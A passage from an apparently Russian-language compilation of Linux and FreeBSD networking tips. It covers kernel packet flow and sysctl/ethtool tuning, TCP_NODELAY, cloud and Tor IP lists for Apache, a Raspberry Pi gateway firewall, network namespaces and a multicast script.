17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)

18. Если локально, вызывает netfilter (`LOCAL_IN`)

19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)

20. Находит нужный сокет

21. Переходит на конечный автомат tcp (finite state machine).

22. Поставит пакет в входящий буфер, размер которого определяется правилами
`tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
 буфер приёма (receive)

23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)

24. Приложение просыпается и читает данные

Исходящие пакеты (Egress)

1. Приложение отправляет сообщение (`sendmsg` или другие)

2. TCP-стек выделяет память для skb_buff

3. Помещает skb в сокет буфера, размером `tcp_wmem`

4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)

5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
`tcp_transmit_skb`)

6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)

7. Вызывает действие выходного маршрута (Calls output route action)

8. Вызывает netfilter (`POST_ROUTING`)

9. Фрагментирует пакет (`ip_output`)

10. Вызывает функции отправки L2 (`dev_queue_xmit`)

11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`

12. Код драйвера помещает пакеты в `ring buffer tx`

13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`

14. Реактивирует аппаратное прерывание (IRQ) в NIC

15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA

16. NIC получит пакеты (через DMA) из RAM для передачи

17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении

18. Драйвер обработает это прерывание IRQ (выключает)

19. И планирует (`soft IRQ`) NAPI poll system 

20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ


Для отслеживания обработки событий, связанных с выполнением сетевой операции,
можно использовать команду:

   perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null




Что, Почему и Как - сеть и  sysctl параметры

Кольцевой буфер (Ring Buffer) - rx, tx

Что: драйвер очереди приёма/отправки одной или нескольких очередей с
фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ

Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
переполнения, то есть, если поступает больше пакетов, чем ядро может
обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.

Как:

Команда проверки: 

   ethtool -g ethX

Как изменить: 

   ethtool -G ethX rx значение tx значение

Как мониторить: 

   ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
 
Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
rx-frames, tx-frames (аппаратные IRQ)

Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
количества кадров

Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
пропускную способность за счет задержки.

Как:

Команда проверки:

   ethtool -c ethX

Как изменить:

   ethtool -C ethX rx-usecs value tx-usecs value

Как мониторить:

   cat /proc/interrupts
  

Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
входящих пакетов (ingress).


Что: максимальное число микросекунд в одном NAPI
(https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
обработанных пакетов достигнет `netdev_budget`.

Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
пуле (polling data); следите за состояниями `dropped` (число пакетов,
отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
(число раз когда ksoftirq превысил `netdev_budget`).


Как:

Команда проверки:

   sysctl net.core.netdev_budget_usecs

Как изменить:

   sysctl -w net.core.netdev_budget_usecs value

Как мониторить:

   cat /proc/net/softnet_stat

или скриптом.


Что: `netdev_budget` максимальное количество пакетов, взятых со всех
интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
`netdev_budget` не был исчерпан.


Как:

Команда проверки:

   sysctl net.core.netdev_budget

Как изменить:

   sysctl -w net.core.netdev_budget value

Как мониторить:

cat /proc/net/softnet_stat

или скриптом.


Что: `dev_weight` максимальное количество пакетов, которое ядро может
обработать при прерывании NAPI, это переменная для каждого процессора. Для
драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
считается в этом пакете одним.

Как:

Команда проверки:

   sysctl net.core.dev_weight

Как изменить:

  sysctl -w net.core.dev_weight value

Как мониторить:

   cat /proc/net/softnet_stat 

или скриптом.


Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
быстрее, чем ядро может их обработать.

Как:

Команда проверки:

   sysctl net.core.netdev_max_backlog

Как изменить:

   sysctl -w net.core.netdev_max_backlog value

Как мониторить:

   cat /proc/net/softnet_stat

или скриптом.



Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc


Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.

Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
tc (traffic control).

Как:

Команда проверки:

   ifconfig ethX

Как изменить:

   ifconfig ethX txqueuelen value

Как мониторить:

   ip -s link

 
Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.

Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
также используется для борьбы с  излишней сетевой буферизацией bufferbloat.

Как:

Команда проверки:

   sysctl net.core.default_qdisc


Как изменить: 

   sysctl -w net.core.default_qdisc value

Как мониторить:

   tc -s qdisc ls dev ethX


Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)

Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
default (начальный размер), max (максимальный размер) - максимальный размер
приёмного буфера TCP.

Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/

Как:

Команда проверки:

   sysctl net.ipv4.tcp_rmem

Как изменить: 

   sysctl -w net.ipv4.tcp_rmem="min default max"

когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)

Как мониторить:

   cat /proc/net/sockstat


Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
default (начальный размер), max (максимальный размер) - размер буфера отправки,
используемого сокетами TCP.

Как:

Команда проверки: 

   sysctl net.ipv4.tcp_wmem


Как изменить:

   sysctl -w net.ipv4.tcp_wmem="min default max"

когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)

Как мониторить:

   cat /proc/net/sockstat



Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
приёмного буфера, пытаясь автоматически определить размер буфера.

Как:

Команда проверки:

  sysctl net.ipv4.tcp_moderate_rcvbuf

Как изменить:

   sysctl -w net.ipv4.tcp_moderate_rcvbuf value

Как мониторить:

   cat /proc/net/sockstat


TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)

  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Актуальность опции TCP_NODELAY для распределённых приложений (доп. ссылка 1)   [комментарии]
     
    Один из инженеров Amazon Web Services (AWS) разобрал заблуждения, связанные
    с повышением эффективности передачи мелких сообщений при  использовании
    алгоритма Нейгла, применяемого по умолчанию в TCP/IP стеке.
    
    Рекомендации сводятся к отключению по умолчанию алгоритма Нейгла через
    выставление опции TCP_NODELAY для сетевых сокетов при помощи вызова  setsockopt.
    
       setsockopt(descriptor, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
    
    
    Алгоритм Нейгла позволяет агрегировать мелкие сообщения для снижения трафика  -
    приостанавливает отправку новых сегментов TCP до получения подтверждения о
    приёме ранее отправленных данных. Например, без применения агрегирования при
    отправке 1 байта, дополнительно отправляется 40 байтов с заголовками пакета. В
    современных условиях использование  алгоритма Нейгла приводит к заметному
    возрастанию задержек, неприемлемых для интерактивных и распределённых приложений.
    
    Приводится три основных довода в пользу использования по умолчанию опции
    TCP_NODELAY, отключающей алгоритм Нейгла:
    
    1. Несовместимость алгоритма Нейгла  с оптимизацией "delayed ACK", при которой
    ACK-ответ направляется не сразу, а после получения ответных данных. Проблема в
    том, что в алгоритме Нейгла поступление ACK-пакета является сигналом для
    отправки агрегированных данных, а если ACK-пакет не поступил, отправка
    выполняется при наступлении таймаута. Таким образом, возникает замкнутый круг и
    ACK-пакет как сигнал не работает, так как другая сторона не получает данные
    из-за их накопления на стороне отправителя, а отправитель не отправляет их до
    таймаута, так как не получает ACK-пакет.
    
    2. RFC для алгоритма Нейгла принят в 1984 году и он не рассчитан на параметры
    современных высокоскоростных сетей и серверов в датацентрах, что приводит к
    возникновению проблем с отзывчивостью. Задержка между отправкой запроса и
    получением ответа (RTT) в современных сетях составляет 0.5 мс + несколько
    миллисекунд при обмене данными между датацентрами в одном регионе + до сотни
    миллисекунд при отправке по всему миру. За эти миллисекунды современный сервер
    способен выполнить огромный объём работы.
    
    3. Современные распределённые приложения давно не отправляют единичные байты
    данных, а агрегирование мелких данных обычно реализуется на уровне приложения.
    Даже если размер полезных данных составляет 1 байт, то, как правило, фактически
    размер отправляемой информации существенно возрастает после применения
    сериализации,  использования API-обвязок    в JSON и отправки с использованием
    TLS-шифрования. Экономия 40 байтов становится не столь актуальной.
    
     
    ----* Диапазоны IP-адресов облачных сервисов Amazon, Google, OVH, DigitalOcean и Microsoft (доп. ссылка 1)   [комментарии]
     
    Иногда на сервере возникает необходимость динамического определения подключения
    пользователя, транзитно использующего окружение в одном из арендуемых облачных сервисов.
    
    Проект cloud-ranges поддерживает актуальную БД диапазонов адресов различных
    облачных операторов, которую можно загрузить со страницы
    
       https://github.com/pry0cc/cloud-ranges/tree/master/companies
    
    
    Также могут оказаться полезными база IP в привязке к странам: 
    
       ftp://ftp.ripe.net/ripe/dbase/split/ripe.db.inetnum.gz
    
    и базы адресов выходных узлов Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=IP_текущего хоста
       https://www.dan.me.uk/torlist/ 
       https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv 
       https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv
    
    
    Преобразовать указанные списки для mod_geo или mod_geo2 можно простым скриптом, например,
    
    
    curl
    https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv
     | sort| uniq | grep
    -v "^#" |grep -E '^[0-9]+\.[0-9]+\.[0-9]+' | sed 's/$/ TT/' > /etc/httpd/conf/tor_db.txt
    
    После включения mod_geo2 в Apache
     
       LoadModule geo2_module        /usr/lib64/httpd/modules/mod_geo2.so
       <IfModule geo2_module>
           GEOTable /etc/httpd/conf/tor_db.txt
           GEOActive Off
       </IfModule>
    
    в скриптах можно узнавать факт подключения через облачных провайдеров или Tor
    анализируя переменную окружения "HTTP_IP_GEO" (в примере выше для адресов Tor
    будет выставляться значение "TT").
    
     
    ----* Домашний шлюз на Raspberry Pi   Автор: Павел Самсонов  [комментарии]
     
    Нам понадобится: Raspberry Pi (у меня Raspberry Pi 1 модель B), вторая сетевая
    карта с интерфейсом USB (например, DLink DUB-E100) и
    SD карта с записанным образом Raspbian.
    
    Сразу скажу, что в Raspbian Wheezy ядро собрано без опций
    
       CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
       CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
    
    и будут проблемы с некоторыми сайтами. Придется позже пересобрать ядро с этими опциями.
    
    
    Итак, установим пакеты:
    
       sudo apt-get install ntp # Нам нужно точное время
       sudo update-rc.d ntp enable
       sudo service ntp start
       sudo apt-get install dnsmasq # Роутер будет резолвером DNS для локальной сети
       sudo update-rc.d dnsmasq enable
       sudo apt-get dnsmasq start
    
    Настроим локальную сеть, для этого отредактируем файл /etc/network/interfaces:
    
       auto lo
       iface lo inet loopback
       auto eth0
       iface eth0 inet  static
    	address 192.168.4.1
    	netmask 255.255.255.0
    
    У нас eth0 - локальная сеть, eth1 (DLink) будет для Internet.
    
    Теперь установим пакеты для pppoe:
    
       sudo apt-get install pppoe pppoeconf
    
    Настроим интернет соединение pppoe с помощью мастера pppoeconf:
    
       sudo pppoeconf
    
    Теперь осталось настроить firewall. Во-первых включим маршрутизацию:
    отредактируем файл /etc/sysctl.conf и установим в нем
    
       net.ipv4.ip_forward=1
    
    и выполним
    
       sudo sysctl net.ipv4.ip_forward=1
    
    Возьмем за основу firewall файл /etc/firewall:
    
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *nat
       :PREROUTING ACCEPT [1:32]
       :INPUT ACCEPT [0:0]
       :OUTPUT ACCEPT [2:307]
       :POSTROUTING ACCEPT [1:240]
       -A POSTROUTING -o ppp0 -j MASQUERADE
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *filter
       :INPUT ACCEPT [0:0]
       :FORWARD ACCEPT [0:0]
       :OUTPUT ACCEPT [0:0]
       :TINYWALL-FORWARD - [0:0]
       :TINYWALL-INPUT - [0:0]
       :TINYWALL-OUTPUT - [0:0]
       -A INPUT -m state --state INVALID -j LOG --log-prefix    "CHAIN=TINYWALL-INVALID-INPUT
       -A INPUT -m state --state INVALID -j DROP
       -A INPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-INPUT " #Это необязательная строка
       -A INPUT -p icmp -j ACCEPT
       -A INPUT -s 192.168.4.0/24 -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A INPUT -s 127.0.0.1/32 -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A INPUT -s 192.168.4.0/24 -p tcp -m tcp --dport 22 -m state --state NEW -j ACCEPT
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -j TINYWALL-INPUT
       -A INPUT -j LOG --log-prefix "CHAIN=TINYWALL-INPUT-REJECT "
       -A INPUT -j REJECT --reject-with icmp-admin-prohibited
       -A FORWARD -m state --state INVALID -j LOG --log-prefix "CHAIN=TINYWALL-INVALID-FORW "
       -A FORWARD -m state --state INVALID -j DROP
       -A FORWARD -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-FORW "
       -A FORWARD -p icmp -j ACCEPT
       -A FORWARD -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-FORW " #Это необязательная строка
       -A FORWARD -s 192.168.4.0/24 -p udp -m udp --dport 53 -m state  --state NEW -j ACCEPT
       -A FORWARD -s 192.168.4.0/24 -m state --state NEW -j ACCEPT
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j TINYWALL-FORWARD
       -A FORWARD -j LOG --log-prefix "CHAIN=TINYWALL-FORW-REJECT "
       -A FORWARD -j REJECT --reject-with icmp-admin-prohibited
       -A OUTPUT -m state --state INVALID -j DROP
       -A OUTPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-OUTPUT "
       -A OUTPUT -p icmp -j ACCEPT
       -A OUTPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-OUTPUT " #Это необязательная строка
       -A OUTPUT -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A OUTPUT -p udp -m udp --sport 53 -m state --state NEW -j ACCEPT
       -A OUTPUT -p udp -m udp --dport 123 -m state --state NEW -j ACCEPT
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A OUTPUT -j TINYWALL-OUTPUT
       -A OUTPUT -j LOG --log-prefix "CHAIN=TINYWALL-OUTPUT-REJECT "
       -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited
       -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1492
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *mangle
       :PREROUTING ACCEPT [2857:1106716]
       :INPUT ACCEPT [2787:1101011]
       :FORWARD ACCEPT [70:5705]
       :OUTPUT ACCEPT [2005:212971]
       :POSTROUTING ACCEPT [2163:232874]
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
    
    Запишем в /etc/rc.local строчку
    
       iptables-restore < /etc/firewall
    
    Шлюз готов, можно использовать 192.168.4.1 как шлюз и DNS сервер.
    
    Напоследок текст скрипта log-analyzer:
    
       #!/bin/bash
       while read string
       do
           echo ""
           export $string 2>/dev/null
           HSRC=`host $SRC 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
           HDST=`host $DST 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
           echo $PROTO | grep "^[[:digit:]]*$" > /dev/null && unset DPT
           PROTO=`grep "[[:space:]]$PROTO[[:space:]]" /etc/protocols | awk '{ print $1 }'`
           HPROTO=`grep -i "[[:space:]]$DPT/$PROTO" /etc/services | sed 's/\\t/\\ /g' | sed 's/\\ \\ /\\ /g'`
           HSPROTO=`grep -i "[[:space:]]$SPT/$PROTO" /etc/services | sed 's/\\t/\\ /g'| sed 's/\\ \\ /\\ /g'`
           HSRC=${HSRC:-$SRC}
           HDST=${HDST:-$DST}
           HPROTO=${HPROTO:-"$DPT/$PROTO"}
           HSPROTO=${HSPROTO:-"$SPT/$PROTO"}
           set $string
           echo "$CHAIN $HDST ($HPROTO) <=== $HSRC ($HSPROTO) /$1 $2 $3/"
       done
    
    Его можно запустить командой:
    
       sudo tail -n 50 -f /var/log/syslog | grep "TINYWALL" | /<path>/log-analyzer
    
     
    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru (194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Multicast во FreeBSD без igmpproxy (доп. ссылка 1) (доп. ссылка 2)   Автор: nuclight  [комментарии]
     
    Иван Рожук опубликовал скрипт mcastbr2.sh для проброса multicast через шлюз
    на базе FreeBSD штатными средствами netgraph, без использования неработающих у
    многих igmpproxy и mrouted.
    
       #!/bin/sh
    
       # Copyright (c) 2011 Rozhuk Ivan <rozhuk.im@gmail.com>
       # All rights reserved.
       # 
       # Subject to the following obligations and disclaimer of warranty, use and
       # redistribution of this software, in source or object code forms, with or
       # without modifications are expressly permitted by Whistle Communications;
       # provided, however, that:
       # 1. Any and all reproductions of the source or object code must include the
       #    copyright notice above and the following disclaimer of warranties; and
       # 2. No rights are granted, in any manner or form, to use Whistle
       #    Communications, Inc. trademarks, including the mark "WHISTLE
       #    COMMUNICATIONS" on advertising, endorsements, or otherwise except as
       #    such appears in the above copyright notice or in the software.
       # 
       # THIS SOFTWARE IS BEING PROVIDED BY WHISTLE COMMUNICATIONS "AS IS", AND
       # TO THE MAXIMUM EXTENT PERMITTED BY LAW, WHISTLE COMMUNICATIONS MAKES NO
       # REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THIS SOFTWARE,
       # INCLUDING WITHOUT LIMITATION, ANY AND ALL IMPLIED WARRANTIES OF
       # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.
       # WHISTLE COMMUNICATIONS DOES NOT WARRANT, GUARANTEE, OR MAKE ANY
       # REPRESENTATIONS REGARDING THE USE OF, OR THE RESULTS OF THE USE OF THIS
       # SOFTWARE IN TERMS OF ITS CORRECTNESS, ACCURACY, RELIABILITY OR OTHERWISE.
       # IN NO EVENT SHALL WHISTLE COMMUNICATIONS BE LIABLE FOR ANY DAMAGES
       # RESULTING FROM OR ARISING OUT OF ANY USE OF THIS SOFTWARE, INCLUDING
       # WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
